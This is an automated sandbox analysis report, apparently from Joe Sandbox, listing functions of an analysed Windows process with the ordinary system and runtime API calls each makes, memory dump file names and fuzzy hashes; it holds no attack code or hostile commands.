Opcode Fuzzy Hash: 75f20549758918dd06e788aca57d58a5dff77fc055bdfbd8264842b04dd4e716
Instruction Fuzzy Hash: 22F0F677105319BF8B219FA89C85DABBB9CEE49324311502EFA48A7202DA62EC008370

Function 00E8373B Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00E837C2

Part of subcall function 00FCCF0C: std::ios_base::_Tidy.LIBCPMT ref: 00FCCF2C

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: std::ios_base::_$Ios_base_dtorTidy
String ID:
API String ID: 3167631304-0
Opcode ID: 5d061d90c0fb1e2e9da93954c75d8a86dfc30df5e729b4114591fffbf04508d0
Instruction ID: 8244fd9b2c5fb2e6ca58f83f1dc7739479d800bc79bc8b6e46933fa5be838612
Opcode Fuzzy Hash: 5d061d90c0fb1e2e9da93954c75d8a86dfc30df5e729b4114591fffbf04508d0
Instruction Fuzzy Hash: C011F575A01259CFDB58DF98D985F98B7B4FB04314F2082A9D80DA7280DB30AA88CF94

Function 00E964E9 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

CreateDialogIndirectParamA.USER32(?,?,?,?,?), ref: 00E9652F

Part of subcall function 00E8827B: OutputDebugStringA.KERNEL32(IsolationAware function called after IsolationAwareCleanup,?,?,00E96518,00000000,01047AD0,00000010,00E95C16,?,?,?,00E958B7,00000000), ref: 00E8828F

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: CreateDebugDialogIndirectOutputParamString
String ID:
API String ID: 3066322445-0
Opcode ID: 789498b8b6a1ac819b1f8dc5398982e68de0ec57d387c71599b4af1a40b20dc8
Instruction ID: bc6b7821edb62df9c44b63d96b939d2cf26c37278e4a995b8654bd8fc0f57900
Opcode Fuzzy Hash: 789498b8b6a1ac819b1f8dc5398982e68de0ec57d387c71599b4af1a40b20dc8
Instruction Fuzzy Hash: 9601AF72900309EFDF21AF94D805BED77B1FB08326F01492AE511B2190C77E8950DF60

Function 00E881CE Relevance: 1.5, APIs: 1, Instructions: 32libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00E86FA8,?,01046E68,00000010,00E87FA9,?,00000000,00000060), ref: 00E8820E

Part of subcall function 00E8827B: OutputDebugStringA.KERNEL32(IsolationAware function called after IsolationAwareCleanup,?,?,00E96518,00000000,01047AD0,00000010,00E95C16,?,?,?,00E958B7,00000000), ref: 00E8828F

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: DebugLibraryLoadOutputString
String ID:
API String ID: 137895185-0
Opcode ID: 55a3bc068938e8f1c5160ec117c4af3fedddda9dbadd5d6b36c222ae34ac76a1
Instruction ID: 2671703b0400422a0d2a0f365f1f1a98eb963a53f2be7b3c60ead6ffd4770d92
Opcode Fuzzy Hash: 55a3bc068938e8f1c5160ec117c4af3fedddda9dbadd5d6b36c222ae34ac76a1
Instruction Fuzzy Hash: 92F04F72D00719DFDF21EF94D905BAD77B0FB54726F40452AE819B61A0CB7A8941CB50

Function 00E89764 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(?), ref: 00E89784

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Malloc
String ID:
API String ID: 2696272793-0
Opcode ID: edb9cf2eef6c84e03b317fef9ddc2bc279261445e07fd82aa7e1408532c61c1c
Instruction ID: 9f69b38e5b2ce5ae033f5d9496714f7f45baa8fce4a68657fd73fe36b70b756b
Opcode Fuzzy Hash: edb9cf2eef6c84e03b317fef9ddc2bc279261445e07fd82aa7e1408532c61c1c
Instruction Fuzzy Hash: BDE01730A113268FD735BF14E408763BAE8BB05726F14981EE1E9D7256E37EA8408B94

Function 00E97351 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SystemParametersInfoA.USER32(00000029,?,?,00000000), ref: 00E97371

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: 9bcc78087fd5675d8fadd87f57e656e6039b2f23d02bd5d2e61f6fcbe14e78e0
Instruction ID: 42809a78e82055e66620d87e1346e614993d86f1911e743f2b469a2ba37334a9
Opcode Fuzzy Hash: 9bcc78087fd5675d8fadd87f57e656e6039b2f23d02bd5d2e61f6fcbe14e78e0
Instruction Fuzzy Hash: 20D05E70218A04DFE715CB40D84ABB537A8F741B05F100028E6094F380D6B12804DB60

Function 00FF1B5A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00FF1F50,?,?,00000000,?,00FF1F50,00000000,0000000C), ref: 00FF1B77

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4470d78ec450f14b01fc1f4ce4b3848273774dd79d1457101dd84d420aab5030
Instruction ID: ebf02cf9caaf1b9a1bd1e0dd1c77bd2ea9825bb2731601e2b6c747f385cb0a76
Opcode Fuzzy Hash: 4470d78ec450f14b01fc1f4ce4b3848273774dd79d1457101dd84d420aab5030
Instruction Fuzzy Hash: E6D06C3200010DBFDF128F85DD06EDA3BAAFB48714F014100BA585A120C736E821AB90

Function 00FD3FC4 Relevance: 1.5, APIs: 1, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00FD3FD7

Part of subcall function 00FE26C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00FE2F36,00000000,00000000,01063F78,00000000,00000007,000000FF,?,00E86776,00E9945F,00000000,?), ref: 00FE26DE
Part of subcall function 00FE26C8: GetLastError.KERNEL32(00000000,?,00FE2F36,00000000,00000000,01063F78,00000000,00000007,000000FF,?,00E86776,00E9945F,00000000,?,?,00E98A17), ref: 00FE26F0

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: ErrorFreeHeapLast_free
String ID:
API String ID: 1353095263-0
Opcode ID: aadc496672b04f7b8a0bae5714cb5bae19e4c543da9a865e90f55482f1750a0b
Instruction ID: ff7407b139e3aa68c4814afb7bd2748cfb53133c1e455a5f4098dbb003014adc
Opcode Fuzzy Hash: aadc496672b04f7b8a0bae5714cb5bae19e4c543da9a865e90f55482f1750a0b
Instruction Fuzzy Hash: 69C08C3140520CBBCB10EF8AEC07A5EBFACDB80320F200288FC0C07211EA72AE10A6D5

Function 00E9A307 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00E9A316

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: DeleteObject
String ID:
API String ID: 1531683806-0
Opcode ID: 4e6a3753066d67e3352e37075b3acf419572ca19c9e566255f8f9417ba1612e2
Instruction ID: 346d468f005440c31bc103ff8fb5d38812fdcd7eb0240d44b92756cf5fe8761e
Opcode Fuzzy Hash: 4e6a3753066d67e3352e37075b3acf419572ca19c9e566255f8f9417ba1612e2
Instruction Fuzzy Hash: B9B092B0806100FFDE11EB30861D32A35A46F4130AF08ACA4B001A6005DABEC0028691

Function 00E86D8B Relevance: 1.3, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000003,00000000,00000000,000000FF,00000000,00000000,00000000,?,?,?,00E86911,?), ref: 00E86DBE

Part of subcall function 00E8740F: MultiByteToWideChar.KERNEL32(00000003,00000000,00000000,000000FF,00000000,00000000,?,00000000), ref: 00E8741E

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 86d93e05fcf2f41c1e2fca28b66d321ff67903ffb08fa88dd83da23704520c8f
Instruction ID: e83cec6c074fbd735e83e72d4f5f2e7e5bd118bb30a6c41599a5951bec3c19b1
Opcode Fuzzy Hash: 86d93e05fcf2f41c1e2fca28b66d321ff67903ffb08fa88dd83da23704520c8f
Instruction Fuzzy Hash: 21F0E53730D1347BDA263659AC05FBE3A8E9F817A1F246126B60CBA2D0CE608C0183F0

Function 00E8740F Relevance: 1.3, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000003,00000000,00000000,000000FF,00000000,00000000,?,00000000), ref: 00E8741E

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: a84cebb7080cfec73fc7f1a3e627f83004dfc5accdc27cffe5a89227cb92b55c
Instruction ID: 329e6f8e4778de722a1510a7343fe367d8c5d6ecea6d5596e3263103ff2f0e3f
Opcode Fuzzy Hash: a84cebb7080cfec73fc7f1a3e627f83004dfc5accdc27cffe5a89227cb92b55c
Instruction Fuzzy Hash: 4FC092B524C20D7EFE022AE4AC05E773B5CE710B70F108314BE2CC92D4D9A29D1057B1

Non-executed Functions

Function 00F3E027 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 166fileCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00F3E031
GetFullPathNameA.KERNEL32(?,00000104,?,?,00000158,00F3D911,?,?,00000000,?,00F45521,00000024,?,?,?), ref: 00F3E064
PathIsUNCA.SHLWAPI(?,?,?,00000000,?,00F45521,00000024,?,?,?), ref: 00F3E0DC
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000,?,00F45521,00000024,?,?,?), ref: 00F3E100
__cftof.LIBCMT ref: 00F3E078

Part of subcall function 00F3DFFA: GetLastError.KERNEL32(?,?,00F3E111,?,?,?,00F45521,00000024,?,?,?), ref: 00F3E005

Part of subcall function 00F3D98A: __cftof.LIBCMT ref: 00F3D9AF
Part of subcall function 00F3D98A: PathStripToRootA.SHLWAPI(00000000,00000000,?,00F45521,00000024,?,?,?), ref: 00F3D9BE

CharUpperA.USER32(?,?,00F45521,00000024,?,?,?), ref: 00F3E12E
FindFirstFileA.KERNEL32(?,?,?,00F45521,00000024,?,?,?), ref: 00F3E146
FindClose.KERNEL32(00000000,?,00F45521,00000024,?,?,?), ref: 00F3E152
_strlen.LIBCMT ref: 00F3E171

Strings

J$, xrefs: 00F3E220

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Path$Find__cftof$CharCloseErrorFileFirstFullH_prolog3_InformationLastNameRootStripUpperVolume_strlen
String ID: J$
API String ID: 2731638371-2399298887
Opcode ID: 1f8a2ab0310413b172ec34b512d4f010f43aaa649f7a0358ce317e0044c9282f
Instruction ID: 15c6d2dd71a52a3135be65c6c30af6ae712bedf73541bd7f38456b01a9b2dd12
Opcode Fuzzy Hash: 1f8a2ab0310413b172ec34b512d4f010f43aaa649f7a0358ce317e0044c9282f
Instruction Fuzzy Hash: B2519272A00619EFDB25BFA4CD46BEEB3BCBF44321F000559F419A6281DB389E459B60

Function 00ECA285 Relevance: 49.9, APIs: 33, Instructions: 438COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00ECA2BC
PtInRect.USER32(?,?,?), ref: 00ECA2CC
GetClientRect.USER32(?,?), ref: 00ECA2ED

Part of subcall function 00E9A1C3: ClientToScreen.USER32(?,?), ref: 00E9A1D2
Part of subcall function 00E9A1C3: ClientToScreen.USER32(?,?), ref: 00E9A1DF

PtInRect.USER32(?,?,?), ref: 00ECA308
GetSystemMetrics.USER32(0000000D), ref: 00ECA33C
GetSystemMetrics.USER32(0000000E), ref: 00ECA34C
PtInRect.USER32(?,?,?), ref: 00ECA38E
OffsetRect.USER32(?,?,?), ref: 00ECA3E9
PtInRect.USER32(?,?,?), ref: 00ECA3F9
SetRect.USER32(?,?,?,00000000,00000000), ref: 00ECA4B0
PtInRect.USER32(?,?,?), ref: 00ECA4C0

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Rect$Client$MetricsScreenSystem$OffsetWindow
String ID:
API String ID: 509473180-0
Opcode ID: fee35180127d24c5cb9f108a06faec1eff8412cde329dacbf77d76996b79112f
Instruction ID: 153c8d44b3d66fab4292a9e4f85e51670e7dea0e69c2d881fd38cf0c4f4cca92
Opcode Fuzzy Hash: fee35180127d24c5cb9f108a06faec1eff8412cde329dacbf77d76996b79112f
Instruction Fuzzy Hash: ABF1D871A0020DAFCF15DFE4C948EEEBBB9BF08348F144129E915EB240D636DA15DB61

Function 00EB43C6 Relevance: 31.9, APIs: 17, Strings: 1, Instructions: 419windowkeyboardCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00EB43CD
GetFocus.USER32 ref: 00EB43EF
GetParent.USER32(?), ref: 00EB4432
GetParent.USER32(?), ref: 00EB4445
GetKeyState.USER32(00000012), ref: 00EB4518
IsWindow.USER32(?), ref: 00EB45A8
GetFocus.USER32 ref: 00EB45B2
IsWindow.USER32(?), ref: 00EB45CA
GetFocus.USER32 ref: 00EB45D4
IsDialogMessageA.USER32(?,?), ref: 00EB464D
GetFocus.USER32 ref: 00EB465D
GetFocus.USER32 ref: 00EB4674
GetKeyState.USER32(00000010), ref: 00EB4693
MessageBeep.USER32(00000000), ref: 00EB4799

Strings

+, xrefs: 00EB4739

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Focus$MessageParentStateWindow$BeepDialogH_prolog3_catch
String ID: +
API String ID: 44247675-2126386893
Opcode ID: d8b38b4be1c5b39ee652e703e153970f2b42b1d5dd7bfa706c19868ea3e1be04
Instruction ID: 8efed11fc61d5e77e32de3851a86e05a62a3641694b921fd5bbec75a5c5db3b3
Opcode Fuzzy Hash: d8b38b4be1c5b39ee652e703e153970f2b42b1d5dd7bfa706c19868ea3e1be04
Instruction Fuzzy Hash: 82D1BDB29006159FCF26ABA49845BEF7BB4FF09714F146029F952BB2D3DB349C418B90

Function 00E8A232 Relevance: 28.6, APIs: 19, Instructions: 80COMMON

Download Yara Rule

APIs

CloseThemeData.UXTHEME(00000000,00E81D2C,00E81D2C,?,00000000,00E91F5B,00000002,00000000,?,00000000,?,00E81D2C,01004830), ref: 00E8A23E
CloseThemeData.UXTHEME(00000000,00E81D2C,00E81D2C,?,00000000,00E91F5B,00000002,00000000,?,00000000,?,00E81D2C,01004830), ref: 00E8A24D
CloseThemeData.UXTHEME(00000000,00E81D2C,00E81D2C,?,00000000,00E91F5B,00000002,00000000,?,00000000,?,00E81D2C,01004830), ref: 00E8A25C
CloseThemeData.UXTHEME(00000000,00E81D2C,00E81D2C,?,00000000,00E91F5B,00000002,00000000,?,00000000,?,00E81D2C,01004830), ref: 00E8A26B
CloseThemeData.UXTHEME(00000000,00E81D2C,00E81D2C,?,00000000,00E91F5B,00000002,00000000,?,00000000,?,00E81D2C,01004830), ref: 00E8A27A
CloseThemeData.UXTHEME(00000000,00E81D2C,00E81D2C,?,00000000,00E91F5B,00000002,00000000,?,00000000,?,00E81D2C,01004830), ref: 00E8A289
CloseThemeData.UXTHEME(00000000,00E81D2C,00E81D2C,?,00000000,00E91F5B,00000002,00000000,?,00000000,?,00E81D2C,01004830), ref: 00E8A298
CloseThemeData.UXTHEME(00000000,00E81D2C,00E81D2C,?,00000000,00E91F5B,00000002,00000000,?,00000000,?,00E81D2C,01004830), ref: 00E8A2A7
CloseThemeData.UXTHEME(00000000,00E81D2C,00E81D2C,?,00000000,00E91F5B,00000002,00000000,?,00000000,?,00E81D2C,01004830), ref: 00E8A2B6
CloseThemeData.UXTHEME(00000000,00E81D2C,00E81D2C,?,00000000,00E91F5B,00000002,00000000,?,00000000,?,00E81D2C,01004830), ref: 00E8A2C5
CloseThemeData.UXTHEME(00000000,00E81D2C,00E81D2C,?,00000000,00E91F5B,00000002,00000000,?,00000000,?,00E81D2C,01004830), ref: 00E8A2D4
CloseThemeData.UXTHEME(00000000,00E81D2C,00E81D2C,?,00000000,00E91F5B,00000002,00000000,?,00000000,?,00E81D2C,01004830), ref: 00E8A2E3
CloseThemeData.UXTHEME(00000000,00E81D2C,00E81D2C,?,00000000,00E91F5B,00000002,00000000,?,00000000,?,00E81D2C,01004830), ref: 00E8A2F2
CloseThemeData.UXTHEME(00000000,00E81D2C,00E81D2C,?,00000000,00E91F5B,00000002,00000000,?,00000000,?,00E81D2C,01004830), ref: 00E8A301
CloseThemeData.UXTHEME(00000000,00E81D2C,00E81D2C,?,00000000,00E91F5B,00000002,00000000,?,00000000,?,00E81D2C,01004830), ref: 00E8A310
CloseThemeData.UXTHEME(00000000,00E81D2C,00E81D2C,?,00000000,00E91F5B,00000002,00000000,?,00000000,?,00E81D2C,01004830), ref: 00E8A31F
CloseThemeData.UXTHEME(00000000,00E81D2C,00E81D2C,?,00000000,00E91F5B,00000002,00000000,?,00000000,?,00E81D2C,01004830), ref: 00E8A32E
CloseThemeData.UXTHEME(00000000,00E81D2C,00E81D2C,?,00000000,00E91F5B,00000002,00000000,?,00000000,?,00E81D2C,01004830), ref: 00E8A33D
CloseThemeData.UXTHEME(00000000,00E81D2C,00E81D2C,?,00000000,00E91F5B,00000002,00000000,?,00000000,?,00E81D2C,01004830), ref: 00E8A34C

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: CloseDataTheme
